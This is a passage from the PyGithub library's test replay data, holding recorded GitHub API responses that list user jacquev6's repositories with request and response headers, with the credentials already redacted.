{"svn_url":"https://github.com/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-19T10:50:39Z","forks":2,"homepage":"http://vincent-jacques.net/PyGithub","git_url":"git://github.com/jacquev6/PyGithub.git","url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","open_issues":18,"fork":false,"ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-19T10:50:39Z","size":304,"private":false,"has_downloads":true,"watchers":13,"html_url":"https://github.com/jacquev6/PyGithub","owner":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","permissions":{"pull":true,"admin":true,"push":true},"language":"Python","description":"Python library implementing the full Github API v3","created_at":"2012-02-25T12:53:47Z","id":3544490,"mirror_url":null} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/NamedUser.testGetRepos.txt0000644000175100001660000003143414756101563023236 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6/repos {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4965'), ('content-length', '12615'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"9389fb7704e9c5ed4c38f461a4c83fd7"'), ('date', 'Sat, 26 May 2012 10:11:31 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"clone_url":"https://github.com/jacquev6/TestPyGithub.git","has_downloads":false,"watchers":1,"updated_at":"2012-05-26T09:55:27Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://foobar.com","url":"https://api.github.com/repos/jacquev6/TestPyGithub","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":0,"git_url":"git://github.com/jacquev6/TestPyGithub.git","private":false,"open_issues":0,"mirror_url":null,"svn_url":"https://github.com/jacquev6/TestPyGithub","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"TestPyGithub","language":null,"description":"Repo created by PyGithub","ssh_url":"git@github.com:jacquev6/TestPyGithub.git","pushed_at":"2012-05-26T09:55:27Z","created_at":"2012-05-26T09:55:27Z","id":4454027,"html_url":"https://github.com/jacquev6/TestPyGithub","full_name":"jacquev6/TestPyGithub"},{"clone_url":"https://github.com/jacquev6/django.git","has_downloads":true,"watchers":1,"updated_at":"2012-04-28T11:06:20Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://www.djangoproject.com/","url":"https://api.github.com/repos/jacquev6/django","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":48476,"git_url":"git://github.com/jacquev6/django.git","private":false,"open_issues":0,"mirror_url":null,"svn_url":"https://github.com/jacquev6/django","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"django","language":"Python","description":"The Web framework for perfectionists with deadlines. Now on GitHub.","ssh_url":"git@github.com:jacquev6/django.git","pushed_at":"2012-04-28T04:05:15Z","created_at":"2012-04-28T11:06:20Z","id":4166730,"html_url":"https://github.com/jacquev6/django","full_name":"jacquev6/django"},{"clone_url":"https://github.com/jacquev6/PyGithub.git","has_downloads":true,"watchers":13,"updated_at":"2012-05-26T10:01:38Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"fork":false,"forks":2,"size":412,"git_url":"git://github.com/jacquev6/PyGithub.git","private":false,"open_issues":16,"mirror_url":null,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-26T10:01:38Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub"},{"clone_url":"https://github.com/jacquev6/developer.github.com.git","has_downloads":false,"watchers":0,"updated_at":"2012-05-08T08:36:28Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/developer.github.com","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":152,"git_url":"git://github.com/jacquev6/developer.github.com.git","private":false,"open_issues":0,"mirror_url":null,"svn_url":"https://github.com/jacquev6/developer.github.com","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"developer.github.com","language":"Ruby","description":"","ssh_url":"git@github.com:jacquev6/developer.github.com.git","pushed_at":"2012-05-08T08:36:28Z","created_at":"2012-02-05T18:22:26Z","id":3361136,"html_url":"https://github.com/jacquev6/developer.github.com","full_name":"jacquev6/developer.github.com"},{"clone_url":"https://github.com/jacquev6/acme-public-website.git","has_downloads":false,"watchers":0,"updated_at":"2012-05-22T18:24:49Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/acme-public-website","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":120,"git_url":"git://github.com/jacquev6/acme-public-website.git","private":false,"open_issues":0,"mirror_url":null,"svn_url":"https://github.com/jacquev6/acme-public-website","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"acme-public-website","language":null,"description":"","ssh_url":"git@github.com:jacquev6/acme-public-website.git","pushed_at":"2011-12-07T20:11:17Z","created_at":"2011-12-07T20:00:40Z","id":2935252,"html_url":"https://github.com/jacquev6/acme-public-website","full_name":"jacquev6/acme-public-website"},{"clone_url":"https://github.com/jacquev6/C4Planner.git","has_downloads":true,"watchers":1,"updated_at":"2012-02-16T21:51:01Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/C4Planner","url":"https://api.github.com/repos/jacquev6/C4Planner","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":4716,"git_url":"git://github.com/jacquev6/C4Planner.git","private":false,"open_issues":0,"mirror_url":null,"svn_url":"https://github.com/jacquev6/C4Planner","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"C4Planner","language":"Python","description":"Caesar IV: anticipate your city","ssh_url":"git@github.com:jacquev6/C4Planner.git","pushed_at":"2011-11-27T20:51:06Z","created_at":"2011-08-24T08:30:55Z","id":2260441,"html_url":"https://github.com/jacquev6/C4Planner","full_name":"jacquev6/C4Planner"},{"clone_url":"https://github.com/jacquev6/DrawTurksHead.git","has_downloads":false,"watchers":0,"updated_at":"2012-04-16T18:38:55Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/DrawTurksHead/","url":"https://api.github.com/repos/jacquev6/DrawTurksHead","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":3232,"git_url":"git://github.com/jacquev6/DrawTurksHead.git","private":false,"open_issues":0,"mirror_url":null,"svn_url":"https://github.com/jacquev6/DrawTurksHead","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"DrawTurksHead","language":"C++","description":"A tool to draw Turk's Head Knots. Try it online","ssh_url":"git@github.com:jacquev6/DrawTurksHead.git","pushed_at":"2012-04-16T18:38:54Z","created_at":"2010-07-10T08:54:09Z","id":767403,"html_url":"https://github.com/jacquev6/DrawTurksHead","full_name":"jacquev6/DrawTurksHead"},{"clone_url":"https://github.com/jacquev6/DrawSyntax.git","has_downloads":false,"watchers":0,"updated_at":"2011-11-27T14:00:34Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/DrawSyntax/","url":"https://api.github.com/repos/jacquev6/DrawSyntax","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":1760,"git_url":"git://github.com/jacquev6/DrawSyntax.git","private":false,"open_issues":0,"mirror_url":null,"svn_url":"https://github.com/jacquev6/DrawSyntax","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"DrawSyntax","language":"C++","description":"Draw syntax diagrams from EBNF grammars. API in C++ and Python. Try it online.","ssh_url":"git@github.com:jacquev6/DrawSyntax.git","pushed_at":"2011-11-27T14:00:32Z","created_at":"2010-07-10T08:39:56Z","id":767392,"html_url":"https://github.com/jacquev6/DrawSyntax","full_name":"jacquev6/DrawSyntax"},{"clone_url":"https://github.com/jacquev6/QuadProgMm.git","has_downloads":false,"watchers":0,"updated_at":"2012-04-16T18:39:06Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/QuadProgMm","url":"https://api.github.com/repos/jacquev6/QuadProgMm","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":760,"git_url":"git://github.com/jacquev6/QuadProgMm.git","private":false,"open_issues":0,"mirror_url":null,"svn_url":"https://github.com/jacquev6/QuadProgMm","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"QuadProgMm","language":"C++","description":"A C++ interface to specify quadratic problems by C++ expressions of your variables. Try it online.","ssh_url":"git@github.com:jacquev6/QuadProgMm.git","pushed_at":"2012-04-16T18:39:05Z","created_at":"2010-07-10T08:36:57Z","id":767386,"html_url":"https://github.com/jacquev6/QuadProgMm","full_name":"jacquev6/QuadProgMm"},{"clone_url":"https://github.com/jacquev6/Boost.HierarchicalEnum.git","has_downloads":false,"watchers":2,"updated_at":"2012-02-20T12:43:24Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"","url":"https://api.github.com/repos/jacquev6/Boost.HierarchicalEnum","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":112,"git_url":"git://github.com/jacquev6/Boost.HierarchicalEnum.git","private":false,"open_issues":0,"mirror_url":null,"svn_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Boost.HierarchicalEnum","language":"C++","description":"","ssh_url":"git@github.com:jacquev6/Boost.HierarchicalEnum.git","pushed_at":"2011-11-27T14:00:23Z","created_at":"2010-07-10T08:32:12Z","id":767382,"html_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","full_name":"jacquev6/Boost.HierarchicalEnum"},{"clone_url":"https://github.com/jacquev6/ViDE.git","has_downloads":false,"watchers":0,"updated_at":"2012-04-19T16:35:46Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"","url":"https://api.github.com/repos/jacquev6/ViDE","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":1488,"git_url":"git://github.com/jacquev6/ViDE.git","private":false,"open_issues":0,"mirror_url":null,"svn_url":"https://github.com/jacquev6/ViDE","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"ViDE","language":"Python","description":"Vincent's Development Environment","ssh_url":"git@github.com:jacquev6/ViDE.git","pushed_at":"2012-04-19T16:35:45Z","created_at":"2010-07-10T07:33:24Z","id":767343,"html_url":"https://github.com/jacquev6/ViDE","full_name":"jacquev6/ViDE"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/NamedUser.testGetReposWithAllArgs.txt0000644000175100001660000015013414756101563025337 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6/repos?type=owner&sort=created&direction=asc {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Thu, 21 May 2020 05:16:51 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1590041659'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"225fda3e11dd88d655981156434638f6"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'A4F6:133E:4570B0:4F7337:5EC60EC2')] [{"id":767403,"node_id":"MDEwOlJlcG9zaXRvcnk3Njc0MDM=","name":"DrawTurksHead","full_name":"jacquev6/DrawTurksHead","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/DrawTurksHead","description":"Python library to draw Turk's Head knots","fork":false,"url":"https://api.github.com/repos/jacquev6/DrawTurksHead","forks_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/forks","keys_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/teams","hooks_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/events","assignees_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/tags","blobs_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/languages","stargazers_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/subscription","commits_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/merges","archive_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/downloads","issues_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/deployments","created_at":"2010-07-10T08:54:09Z","updated_at":"2020-03-22T14:23:55Z","pushed_at":"2020-03-22T14:23:52Z","git_url":"git://github.com/jacquev6/DrawTurksHead.git","ssh_url":"git@github.com:jacquev6/DrawTurksHead.git","clone_url":"https://github.com/jacquev6/DrawTurksHead.git","svn_url":"https://github.com/jacquev6/DrawTurksHead","homepage":"http://jacquev6.github.io/DrawTurksHead","size":8363,"stargazers_count":3,"watchers_count":3,"language":"Python","has_issues":true,"has_projects":false,"has_downloads":false,"has_wiki":false,"has_pages":true,"forks_count":2,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":2,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":2,"open_issues":2,"watchers":3,"default_branch":"master","permissions":{"admin":false,"push":false,"pull":true}},{"id":1986874,"node_id":"MDEwOlJlcG9zaXRvcnkxOTg2ODc0","name":"vincent-jacques.net","full_name":"jacquev6/vincent-jacques.net","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/vincent-jacques.net","description":null,"fork":false,"url":"https://api.github.com/repos/jacquev6/vincent-jacques.net","forks_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/forks","keys_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/teams","hooks_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/events","assignees_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/tags","blobs_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/languages","stargazers_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/subscription","commits_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/merges","archive_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/downloads","issues_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/deployments","created_at":"2011-07-02T07:08:56Z","updated_at":"2020-02-14T11:06:58Z","pushed_at":"2020-03-13T22:39:17Z","git_url":"git://github.com/jacquev6/vincent-jacques.net.git","ssh_url":"git@github.com:jacquev6/vincent-jacques.net.git","clone_url":"https://github.com/jacquev6/vincent-jacques.net.git","svn_url":"https://github.com/jacquev6/vincent-jacques.net","homepage":"https://vincent-jacques.net","size":1525,"stargazers_count":0,"watchers_count":0,"language":"Vue","has_issues":false,"has_projects":false,"has_downloads":false,"has_wiki":false,"has_pages":true,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":9,"license":null,"forks":0,"open_issues":9,"watchers":0,"default_branch":"master","permissions":{"admin":false,"push":false,"pull":true}},{"id":4835930,"node_id":"MDEwOlJlcG9zaXRvcnk0ODM1OTMw","name":"IpMap","full_name":"jacquev6/IpMap","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/IpMap","description":"HTML5 browsable IP map inspired by http://xkcd.com/195/","fork":false,"url":"https://api.github.com/repos/jacquev6/IpMap","forks_url":"https://api.github.com/repos/jacquev6/IpMap/forks","keys_url":"https://api.github.com/repos/jacquev6/IpMap/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/IpMap/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/IpMap/teams","hooks_url":"https://api.github.com/repos/jacquev6/IpMap/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/IpMap/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/IpMap/events","assignees_url":"https://api.github.com/repos/jacquev6/IpMap/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/IpMap/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/IpMap/tags","blobs_url":"https://api.github.com/repos/jacquev6/IpMap/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/IpMap/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/IpMap/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/IpMap/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/IpMap/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/IpMap/languages","stargazers_url":"https://api.github.com/repos/jacquev6/IpMap/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/IpMap/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/IpMap/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/IpMap/subscription","commits_url":"https://api.github.com/repos/jacquev6/IpMap/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/IpMap/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/IpMap/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/IpMap/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/IpMap/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/IpMap/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/IpMap/merges","archive_url":"https://api.github.com/repos/jacquev6/IpMap/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/IpMap/downloads","issues_url":"https://api.github.com/repos/jacquev6/IpMap/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/IpMap/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/IpMap/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/IpMap/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/IpMap/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/IpMap/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/IpMap/deployments","created_at":"2012-06-29T18:54:23Z","updated_at":"2020-02-12T14:50:54Z","pushed_at":"2017-07-19T17:06:52Z","git_url":"git://github.com/jacquev6/IpMap.git","ssh_url":"git@github.com:jacquev6/IpMap.git","clone_url":"https://github.com/jacquev6/IpMap.git","svn_url":"https://github.com/jacquev6/IpMap","homepage":"http://jacquev6.github.io/IpMap/","size":1196,"stargazers_count":5,"watchers_count":5,"language":"JavaScript","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":1,"mirror_url":null,"archived":